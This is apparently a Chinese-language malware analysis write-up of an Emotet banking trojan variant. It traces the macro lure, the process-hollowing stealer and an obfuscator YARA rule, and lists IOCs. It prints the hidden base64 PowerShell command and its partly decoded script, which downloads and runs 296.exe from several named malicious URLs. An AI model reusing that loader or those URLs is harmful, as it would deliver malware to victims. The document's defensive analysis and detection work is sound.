Emotet银行木马分析
前言
Emotet是现如今流行的银行木马之一,变种极多,使用的混淆器也各不相同。Emotet主要以垃圾邮件传播,邮件中的宏文档是被用作后续下载Emotet进行持久化攻击的Downloader。此文是以1月份获取的变种样本进行分析。
样本运行流程
样本分析
宏文档分析
打开文档,文档中的图片诱导用户点击启动宏的按钮。
进入VBA编辑器,可看到下图中展示的部分宏,所有的宏代码都已经被混淆,无法看出真正逻辑。
动态调试宏代码,可通过下两图得知,宏代码的作用是启动wmi来执行一段powersehll脚本
其中powershell脚本内容,以隐藏方式执行一段base64加密的代码
Powershell -w hidden -en JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAG
解密后
$Sonlfmxfglg='Xyysnkiuyxo';
$Eczadxvec='296';
$Zzrrzebyse='Vpybxxpmdeydq';
$Mwbgorhryfhne=$env:userprofile+'\'+$Eczadxvec+'.exe';
$Surzdxdygpth='Yfufnpswxz';
$Lvbojolxvxm=.('new-ob'+'j'+'ect')NEt.wEbclIeNT;
$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includ
通过上述解密的代码可知,powershell脚本会遍历上述四个的恶意网址,然后从下载相应的恶意程序,并重命名为296.exe。
word启动宏后产生的进程树
恶意downloader分析
样本上来会先获取所需的函数地址
通过PEB获取dll的加载基址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GcTk6yz6-1582849922985)(D:\项目\病毒分析\emotet银行木马分析\pic\获取dll加载基址.png)]
通过导出表获取函数地址,中间是一长串SendMessageA调用的混淆
获取资源中的数据
将从资源中获取的数据存放到申请的两块内存,并异或解密得到shellcode
其中第一块内存中shellcode的主要作用是获取CryptoAPI 函数的地址,第二块内存通过HASH获取几个API函数的地址,进而申请第三块内存并填充数据,这个程序的逻辑都在第三块内存中。
第三块内存以上来调用一个函数将数组中的HASH计算存放到对应的内存地址上
下面才算整个程序的开始
对比命令行参数,如果对比不上就在启动一个带命令行参数的进程,然后退出当前进程
判断当前进程路径是否在系统目录下,如果在反汇eax
如果不在,释放当前文件到系统目录,创建服务,启动进程,返回0
HASH计算出远程服务器并下载文件
写入文件并创建进程
分析到这里可以发现,这个样本其实也是一个downloader,下面为真正的窃密程序
窃密程序分析
通过行为可以看到恶意程序运行后利用线程注入或傀儡进程技术创建系统程序,利用系统进程获取本机数据发送到远程服务器。
查看文件资源信息,发现和downloader一样,代码形式也非常相似,可以判断这是用到了同一款混淆器对代码进行混淆。
恶意程序使用同一款混淆器,前面的代码执行流程也相同,申请内存执行shellcode,然后在第三块内存中解密出关键逻辑代码。
通过不断异或加密解密后续数据
创建svchost傀儡进程
申请内存写入代码hook程序入口点
入口点执行ret后会执行到内存地址0x6100,也就是恶意程序写入svchost进程的内存
将恶意进程拷贝到系统目录下
获取本机信息
写入数据
发送数据
后续恶意程序还有有其他行为,在此就不一一分析了。
yara规则
由于恶意样本使用的是混淆器,所以加yara规则我一般喜欢加它的二进制代码,如下我找到混淆器中获取到处函数的汇编代码,将他们作为恶意程序的特征。
(当然实际中很多加壳器也会用到此类获取导出函数的方法,如果只加一条特征可能会造成误报,具体可按需求再寻找其他特征)
rule VirTool_Obfuscator_a
{
meta:
author = "0x17"
samples = "d27590b402b475ae11a93f2976c2de595ab1eac9"
samples = "3d40a6516172d4115be08dd03767526f4b24dce8"
strings:
/*
8B 6C 24 ?? mov ebp, [esp+10h+arg_0]
8B 45 3C mov eax, [ebp+3Ch]
56 push esi
8B 35 ?? ?? ?? ?? mov esi, ds:SendMessageA
57 push edi
8B 7C 28 78 mov edi, [eax+ebp+78h]
8B 5C 2F 1C mov ebx, [edi+ebp+1Ch]
8B 4C 2F 18 mov ecx, [edi+ebp+18h]
6A 00 push 0 ; lParam
03 FD add edi, ebp
6A 02 push 2 ; wParam
6A 06 push 6 ; Msg
03 DD add ebx, ebp
6A 00 push 0 ; hWnd
89 4C 24 ?? mov [esp+28h+arg_0], ecx
89 5C 24 ?? mov [esp+28h+var_8], ebx
FF D6 call esi ; SendMessageA
*/
$hex_string1 = { 8B 6C 24 ?? 8B 45 3C 56 8B 35 ?? ?? ?? ?? 57 8B 7C 28 78 8B 5C 2F 1C 8B 4C 2F 18 6A 00 03 FD 6A 02 6A 06 03 DD 6A 00 89 4C 24 ?? 89 5C 24 ?? FF D6 }
/*
03 48 3C add ecx, [eax+3Ch]
89 4D ?? mov [ebp+var_10], ecx
8B 55 ?? mov edx, [ebp+var_10]
8B 45 ?? mov eax, [ebp+arg_0]
03 42 78 add eax, [edx+78h]
89 45 ?? mov [ebp+var_8], eax
8B 4D ?? mov ecx, [ebp+var_8]
8B 51 18 mov edx, [ecx+18h]
89 55 ?? mov [ebp+var_4], edx
8B 45 ?? mov eax, [ebp+var_8]
8B 4D ?? mov ecx, [ebp+arg_0]
03 48 1C add ecx, [eax+1Ch]
89 4D ?? mov [ebp+var_1C], ecx
*/
$hex_string2 = {03 48 3C 89 4D ?? 8B 55 ?? 8B 45 ?? 03 42 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 1C 89 4D ?? }
condition:
1 of them
}
yara引擎报出的两条记录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dcdMiipv-1582849922996)(D:\项目\病毒分析\emotet银行木马分析\pic\yara命中.png)]
IOC
宏文档
SHA1:be9efb37ebba29888e1e6451cc6294bde8c30d04
恶意downloader
SHA1:d27590b402b475ae11a93f2976c2de595ab1eac9
窃密程序
SHA1:3d40a6516172d4115be08dd03767526f4b24dce8
C&C
adykurniawan.com
myphamthanhbinh.net
mjmechanical.com
100.6.23.40
…